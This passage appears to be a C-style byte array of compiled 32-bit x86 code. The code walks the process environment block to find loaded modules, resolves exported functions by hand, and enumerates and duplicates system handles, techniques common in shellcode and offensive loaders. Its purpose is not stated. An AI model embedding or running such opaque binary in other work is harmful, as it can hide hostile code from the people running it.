B,0x00,0x89,0x45,0xF4,0x8B,0x45,0xF4,0x3B,0x45,0xE8,0x75,0xB6,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x53,0x81,0xEC,0x30,0x03,0x00,0x00,0xC7,0x44,0x24,0x04,0x2E,0x00,0x00,0x00,0x8B,0x45,0x0C,0x89,0x04,0x24,0xE8,0xB7,0x75,0x00,0x00,0x83,0xC0,0x01,0x89,0x45,0xF4,0x8B,0x55,0xF4,0x8B,0x45,0x0C,0x29,0xC2,0x89,0x55,0xF0,0x8D,0x85,0xE3,0xFE,0xFF,0xFF,0xB9,0x05,0x01,0x00,0x00,0xBB,0x00,0x00,0x00,0x00,0x89,0x18,0x89,0x5C,0x08,0xFC,0x8D,0x50,0x04,0x83,0xE2,0xFC,0x29,0xD0,0x01,0xC1,0x83,0xE1,0xFC,0xC1,0xE9,0x02,0x89,0xD7,0x89,0xD8,0xF3,0xAB,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0x8B,0x45,0x0C,0x89,0x44,0x24,0x04,0x8D,0x85,0xE3,0xFE,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x56,0x75,0x00,0x00,0x8D,0x85,0xE3,0xFE,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x38,0x75,0x00,0x00,0x89,0xC2,0x8D,0x85,0xE3,0xFE,0xFF,0xFF,0x01,0xD0,0xC7,0x00,0x64,0x6C,0x6C,0x00,0x8D,0x85,0xDA,0xFC,0xFF,0xFF,0xB9,0x08,0x02,0x00,0x00,0xBB,0x00,0x00,0x00,0x00,0x89,0x18,0x89,0x5C,0x08,0xFC,0x8D,0x50,0x04,0x83,0xE2,0xFC,0x29,0xD0,0x01,0xC1,0x83,0xE1,0xFC,0xC1,0xE9,0x02,0x89,0xD7,0x89,0xD8,0xF3,0xAB,0xC7,0x44,0x24,0x08,0x04,0x01,0x00,0x00,0x8D,0x85,0xE3,0xFE,0xFF,0xFF,0x89,0x44,0x24,0x04,0x8D,0x85,0xDA,0xFC,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x9C,0x74,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8D,0x85,0xDA,0xFC,0xFF,0xFF,0x89,0x04,0x24,0xE8,0xD6,0x01,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x75,0x22,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0x5C,0x33,0x00,0x00,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x5C,0xFE,0xFF,0xFF,0x89,0x45,0xE8,0x8B,0x45,0xE8,0xEB,0x28,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0x3A,0x33,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x89,0x44,0x24,0x04,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x10,0x00,0x00,0x00,0x89,0x45,0xE8,0x8B,0x45,0xE8,0x81,0xC4,0x30,0x03,0x00,0x00,0x5B,0x5F,0x5D,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x58,0x8B,0x45,0x10,0x66,0x89,0x45,0xC4,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x95,0xFD,0xFF,0xFF,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x51,0x01,0x00,0x00,0x8B,0x45,0x08,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x8B,0x40,0x3C,0x89,0xC2,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xE8,0x8B,0x45,0xE8,0x83,0xC0,0x78,0x89,0x45,0xE4,0x8B,0x45,0xE4,0x8B,0x40,0x04,0x85,0xC0,0x74,0x09,0x8B,0x45,0xE4,0x8B,0x00,0x85,0xC0,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x15,0x01,0x00,0x00,0x8B,0x45,0xE4,0x8B,0x10,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xE0,0x8B,0x45,0xE4,0x8B,0x40,0x04,0x89,0x45,0xDC,0x8B,0x45,0xE0,0x8B,0x50,0x1C,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xD8,0x8B,0x45,0xE0,0x8B,0x50,0x20,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xD4,0x8B,0x45,0xE0,0x8B,0x50,0x24,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xD0,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x83,0x7D,0x0C,0x00,0x74,0x6C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xEB,0x56,0x8B,0x45,0xF0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xD4,0x01,0xD0,0x8B,0x10,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xCC,0x8B,0x45,0xCC,0x89,0x04,0x24,0xE8,0x37,0x32,0x00,0x00,0x39,0x45,0x0C,0x75,0x29,0x8B,0x45,0xF0,0x8D,0x14,0x00,0x8B,0x45,0xD0,0x01,0xD0,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x8D,0x14,0x85,0x00,0x00,0x00,0x00,0x8B,0x45,0xD8,0x01,0xD0,0x8B,0x10,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xF4,0xEB,0x2F,0x83,0x45,0xF0,0x01,0x8B,0x45,0xE0,0x8B,0x40,0x18,0x39,0x45,0xF0,0x72,0x9F,0xEB,0x1E,0x0F,0xB7,0x55,0xC4,0x8B,0x45,0xE0,0x8B,0x40,0x10,0x29,0xC2,0xC1,0xE2,0x02,0x8B,0x45,0xD8,0x01,0xD0,0x8B,0x10,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x31,0x8B,0x55,0xF4,0x8B,0x45,0xE0,0x39,0xC2,0x72,0x24,0x8B,0x55,0xE0,0x8B,0x45,0xDC,0x01,0xD0,0x8B,0x55,0xF4,0x39,0xC2,0x73,0x15,0x8B,0x45,0xF4,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x3B,0xFD,0xFF,0xFF,0x89,0x45,0xF4,0x8B,0x45,0xF4,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x48,0xC7,0x45,0xD8,0x30,0x00,0x00,0x00,0x8B,0x45,0xD8,0x64,0x8B,0x00,0x89,0x45,0xD4,0x8B,0x45,0xD4,0x89,0x45,0xF0,0x8B,0x45,0xF0,0x8B,0x40,0x0C,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x83,0xC0,0x0C,0x89,0x45,0xE8,0x8B,0x45,0xEC,0x8B,0x40,0x0C,0x89,0x45,0xF4,0xC7,0x44,0x24,0x04,0x5C,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xE6,0x72,0x00,0x00,0x85,0xC0,0x0F,0x95,0xC0,0x0F,0xB6,0xC0,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x74,0x26,0x8B,0x45,0xF4,0x8B,0x40,0x28,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x75,0x31,0x8B,0x45,0xF4,0x8B,0x40,0x18,0xE9,0x01,0x01,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x40,0x30,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xA1,0x9C,0x61,0x49,0x65,0xFF,0xD0,0x85,0xC0,0x75,0x0B,0x8B,0x45,0xF4,0x8B,0x40,0x18,0xE9,0xDB,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x8B,0x45,0xF4,0x3B,0x45,0xE8,0x75,0x9E,0x83,0x7D,0x0C,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xBB,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0xC7,0x04,0x24,0xB8,0xE4,0x48,0x65,0xE8,0x25,0xFF,0xFF,0xFF,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0xDA,0xEC,0x01,0xA3,0x89,0x04,0x24,0xE8,0x94,0xFD,0xFF,0xFF,0x89,0x45,0xE0,0x83,0x7D,0xE0,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x7F,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD0,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x45,0xD0,0x8B,0x45,0xD0,0xC7,0x44,0x24,0x04,0x04,0x01,0x00,0x00,0x89,0x04,0x24,0xE8,0xDE,0x6C,0x00,0x00,0x66,0x89,0x45,0xCC,0x0F,0xB7,0x45,0xCC,0x01,0xC0,0x66,0x89,0x45,0xCC,0x0F,0xB7,0x45,0xCC,0x83,0xC0,0x02,0x66,0x89,0x45,0xCE,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0x8D,0x45,0xC8,0x89,0x44,0x24,0x0C,0x8D,0x45,0xCC,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0xC7,0x04,0x24,0x00,0x00,0x00,0x00,0x8B,0x45,0xE0,0xFF,0xD0,0x83,0xEC,0x10,0x89,0x45,0xDC,0x83,0x7D,0xDC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xC8,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x34,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x44,0x9C,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x05,0x01,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x8D,0x45,0xD8,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xCC,0xE4,0x48,0x65,0xE8,0xCA,0x10,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xE1,0x00,0x00,0x00,0x8D,0x45,0xDC,0x89,0x44,0x24,0x04,0x8D,0x45,0xE0,0x89,0x04,0x24,0xE8,0x97,0x0C,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xC5,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xE9,0x94,0x00,0x00,0x00,0x8B,0x45,0xE0,0x8B,0x55,0xF0,0xC1,0xE2,0x04,0x01,0xD0,0x83,0xC0,0x04,0x89,0x45,0xE4,0x8B,0x45,0xE4,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x39,0x45,0x08,0x75,0x6A,0x8B,0x45,0xE4,0x8B,0x40,0x0C,0x23,0x45,0x0C,0x39,0x45,0x0C,0x75,0x5F,0x8B,0x45,0xE4,0x0F,0xB6,0x40,0x04,0x0F,0xB6,0xD0,0x8B,0x45,0xD8,0x39,0xC2,0x75,0x51,0x8B,0x45,0xE8,0x8B,0x00,0x83,0xC0,0x01,0x3D,0x10,0x27,0x00,0x00,0x76,0x1A,0xC7,0x04,0x24,0xD8,0xE4,0x48,0x65,0xE8,0x59,0xDE,0xFF,0xFF,0xC7,0x04,0x24,0x06,0xE5,0x48,0x65,0xE8,0x4D,0xDE,0xFF,0xFF,0xEB,0x53,0x8B,0x45,0xE4,0x0F,0xB7,0x40,0x06,0x0F,0xB7,0xD8,0x8B,0x45,0xE8,0x8B,0x00,0x8D,0x48,0x01,0x8B,0x55,0xE8,0x89,0x0A,0x89,0xD9,0x8B,0x55,0xE8,0x89,0x4C,0x82,0x04,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xF0,0x01,0x8B,0x45,0xE0,0x8B,0x00,0x39,0x45,0xF0,0x0F,0x82,0x5E,0xFF,0xFF,0xFF,0x8B,0x45,0x10,0x8B,0x55,0xE8,0x89,0x10,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0xF4,0x00,0x75,0x51,0x83,0x7D,0xE8,0x00,0x74,0x4B,0x83,0x7D,0xE8,0x00,0x74,0x45,0xC7,0x44,0x24,0x08,0x44,0x9C,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0xB7,0x6F,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xE8,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x8B,0x45,0xE0,0x85,0xC0,0x74,0x4B,0x8B,0x45,0xE0,0x85,0xC0,0x74,0x44,0x8B,0x55,0xDC,0x8B,0x45,0xE0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x65,0x6F,0x00,0x00,0x8B,0x5D,0xE0,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x34,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x44,0x9C,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x84,0x05,0x01,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0x8D,0x45,0xD8,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x08,0xE5,0x48,0x65,0xE8,0xB9,0x0E,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xE1,0x00,0x00,0x00,0x8D,0x45,0xDC,0x89,0x44,0x24,0x04,0x8D,0x45,0xE0,0x89,0x04,0x24,0xE8,0x86,0x0A,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xC5,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xE9,0x94,0x00,0x00,0x00,0x8B,0x45,0xE0,0x8B,0x55,0xF0,0xC1,0xE2,0x04,0x01,0xD0,0x83,0xC0,0x04,0x89,0x45,0xE4,0x8B,0x45,0xE4,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x39,0x45,0x08,0x75,0x6A,0x8B,0x45,0xE4,0x8B,0x40,0x0C,0x23,0x45,0x0C,0x39,0x45,0x0C,0x75,0x5F,0x8B,0x45,0xE4,0x0F,0xB6,0x40,0x04,0x0F,0xB6,0xD0,0x8B,0x45,0xD8,0x39,0xC2,0x75,0x51,0x8B,0x45,0xE8,0x8B,0x00,0x83,0xC0,0x01,0x3D,0x10,0x27,0x00,0x00,0x76,0x1A,0xC7,0x04,0x24,0xD8,0xE4,0x48,0x65,0xE8,0x48,0xDC,0xFF,0xFF,0xC7,0x04,0x24,0x06,0xE5,0x48,0x65,0xE8,0x3C,0xDC,0xFF,0xFF,0xEB,0x53,0x8B,0x45,0xE4,0x0F,0xB7,0x40,0x06,0x0F,0xB7,0xD8,0x8B,0x45,0xE8,0x8B,0x00,0x8D,0x48,0x01,0x8B,0x55,0xE8,0x89,0x0A,0x89,0xD9,0x8B,0x55,0xE8,0x89,0x4C,0x82,0x04,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xF0,0x01,0x8B,0x45,0xE0,0x8B,0x00,0x39,0x45,0xF0,0x0F,0x82,0x5E,0xFF,0xFF,0xFF,0x8B,0x45,0x10,0x8B,0x55,0xE8,0x89,0x10,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xE0,0x85,0xC0,0x74,0x4B,0x8B,0x45,0xE0,0x85,0xC0,0x74,0x44,0x8B,0x55,0xDC,0x8B,0x45,0xE0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0xAB,0x6D,0x00,0x00,0x8B,0x5D,0xE0,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x75,0x51,0x83,0x7D,0xE8,0x00,0x74,0x4B,0x83,0x7D,0xE8,0x00,0x74,0x45,0xC7,0x44,0x24,0x08,0x44,0x9C,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0x54,0x6D,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xE8,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x34,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x00,0x00,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0xC7,0x44,0x24,0x08,0x44,0x9C,0x00,0x00,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xE8,0x83,0x7D,0xE8,0x00,0x0F,0x84,0xFE,0x00,0x00,0x00,0x8D,0x45,0xD8,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x18,0xE5,0x48,0x65,0xE8,0xA8,0x0C,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xE1,0x00,0x00,0x00,0x8D,0x45,0xDC,0x89,0x44,0x24,0x04,0x8D,0x45,0xE0,0x89,0x04,0x24,0xE8,0x75,0x08,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x0F,0x84,0xC5,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xE9,0x94,0x00,0x00,0x00,0x8B,0x45,0xE0,0x8B,0x55,0xF0,0xC1,0xE2,0x04,0x01,0xD0,0x83,0xC0,0x04,0x89,0x45,0xE4,0x8B,0x45,0xE4,0x0F,0xB7,0x00,0x0F,0xB7,0xC0,0x39,0x45,0x08,0x75,0x6A,0x8B,0x45,0xE4,0x8B,0x40,0x0C,0x23,0x45,0x0C,0x39,0x45,0x0C,0x75,0x5F,0x8B,0x45,0xE4,0x0F,0xB6,0x40,0x04,0x0F,0xB6,0xD0,0x8B,0x45,0xD8,0x39,0xC2,0x75,0x51,0x8B,0x45,0xE8,0x8B,0x00,0x83,0xC0,0x01,0x3D,0x10,0x27,0x00,0x00,0x76,0x1A,0xC7,0x04,0x24,0xD8,0xE4,0x48,0x65,0xE8,0x37,0xDA,0xFF,0xFF,0xC7,0x04,0x24,0x06,0xE5,0x48,0x65,0xE8,0x2B,0xDA,0xFF,0xFF,0xEB,0x53,0x8B,0x45,0xE4,0x0F,0xB7,0x40,0x06,0x0F,0xB7,0xD8,0x8B,0x45,0xE8,0x8B,0x00,0x8D,0x48,0x01,0x8B,0x55,0xE8,0x89,0x0A,0x89,0xD9,0x8B,0x55,0xE8,0x89,0x4C,0x82,0x04,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x45,0xF0,0x01,0x8B,0x45,0xE0,0x8B,0x00,0x39,0x45,0xF0,0x0F,0x82,0x5E,0xFF,0xFF,0xFF,0x8B,0x45,0x10,0x8B,0x55,0xE8,0x89,0x10,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x8B,0x45,0xE0,0x85,0xC0,0x74,0x4B,0x8B,0x45,0xE0,0x85,0xC0,0x74,0x44,0x8B,0x55,0xDC,0x8B,0x45,0xE0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x9A,0x6B,0x00,0x00,0x8B,0x5D,0xE0,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x75,0x51,0x83,0x7D,0xE8,0x00,0x74,0x4B,0x83,0x7D,0xE8,0x00,0x74,0x45,0xC7,0x44,0x24,0x08,0x44,0x9C,0x00,0x00,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xE8,0x89,0x04,0x24,0xE8,0x43,0x6B,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xE8,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x83,0xEC,0x64,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0x8D,0x55,0xB8,0xB8,0x00,0x00,0x00,0x00,0xB9,0x0E,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x38,0x00,0x00,0x00,0x8D,0x45,0xB8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x60,0x30,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x35,0x8B,0x45,0xBC,0x23,0x45,0x0C,0x39,0x45,0x0C,0x75,0x09,0xC7,0x45,0xF4,0x01,0x00,0x00,0x00,0xEB,0x22,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x04,0x24,0x2C,0xE5,0x48,0x65,0xE8,0xA5,0xD8,0xFF,0xFF,0xC7,0x04,0x24,0x06,0xE5,0x48,0x65,0xE8,0x99,0xD8,0xFF,0xFF,0xEB,0x01,0x90,0x8B,0x45,0xF4,0x8B,0x7D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0x83,0x7D,0x08,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x65,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x02,0x00,0x00,0x00,0x8B,0x45,0x0C,0x89,0x44,0x24,0x14,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0x8D,0x45,0xF0,0x89,0x44,0x24,0x0C,0xC7,0x44,0x24,0x08,0xFF,0xFF,0xFF,0xFF,0xC7,0x44,0x24,0x04,0xFF,0xFF,0xFF,0xFF,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xA5,0x2F,0x00,0x00,0x89,0x45,0xF4,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x2C,0x2E,0x00,0x00,0xC7,0x45,0x08,0x00,0x00,0x00,0x00,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xF0,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x01,0x00,0x00,0xC0,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x83,0x7D,0x08,0x00,0x0F,0x84,0x90,0x00,0x00,0x00,0x83,0x7D,0x0C,0x00,0x75,0x07,0xC7,0x45,0xF4,0x02,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x40,0x00,0x00,0x00,0x8D,0x45,0xEC,0x89,0x44,0x24,0x0C,0xC7,0x44,0x24,0x08,0xFF,0xFF,0xFF,0xFF,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0xE8,0x0B,0x2F,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x78,0x43,0x8B,0x45,0xEC,0x8B,0x55,0xF4,0x89,0x54,0x24,0x18,0x8B,0x55,0x10,0x89,0x54,0x24,0x14,0x8B,0x55,0x0C,0x89,0x54,0x24,0x10,0x8D,0x55,0xE8,0x89,0x54,0x24,0x0C,0xC7,0x44,0x24,0x08,0xFF,0xFF,0xFF,0xFF,0xC7,0x44,0x24,0x04,0xFF,0xFF,0xFF,0xFF,0x89,0x04,0x24,0xE8,0xCB,0x2E,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0xEB,0x04,0x90,0xEB,0x01,0x90,0x83,0x7D,0x08,0x00,0x74,0x0B,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x42,0x2D,0x00,0x00,0x8B,0x45,0xEC,0x85,0xC0,0x74,0x0B,0x8B,0x45,0xEC,0x89,0x04,0x24,0xE8,0x30,0x2D,0x00,0x00,0x8B,0x45,0xE8,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0xC7,0x45,0xF4,0x30,0x00,0x00,0x00,0x8B,0x45,0xF4,0x64,0x8B,0x00,0x89,0x45,0xF0,0x8B,0x45,0xF0,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x05,0xA4,0x00,0x00,0x00,0x89,0x45,0xF8,0x8B,0x45,0xF8,0x8B,0x00,0x83,0xF8,0x06,0x77,0x07,0xB8,0x10,0x04,0x00,0x00,0xEB,0x05,0xB8,0x10,0x10,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0xC7,0x45,0xF4,0x30,0x00,0x00,0x00,0x8B,0x45,0xF4,0x64,0x8B,0x00,0x89,0x45,0xF0,0x8B,0x45,0xF0,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x05,0xA4,0x00,0x00,0x00,0x89,0x45,0xF8,0x8B,0x45,0xF8,0x8B,0x00,0x83,0xF8,0x06,0x77,0x07,0xB8,0x80,0x04,0x00,0x00,0xEB,0x05,0xB8,0x80,0x10,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0xC7,0x45,0xF4,0x30,0x00,0x00,0x00,0x8B,0x45,0xF4,0x64,0x8B,0x00,0x89,0x45,0xF0,0x8B,0x45,0xF0,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x05,0xA4,0x00,0x00,0x00,0x89,0x45,0xF8,0x8B,0x45,0xF8,0x8B,0x00,0x83,0xF8,0x06,0x77,0x07,0xB8,0x10,0x04,0x00,0x00,0xEB,0x05,0xB8,0x10,0x10,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC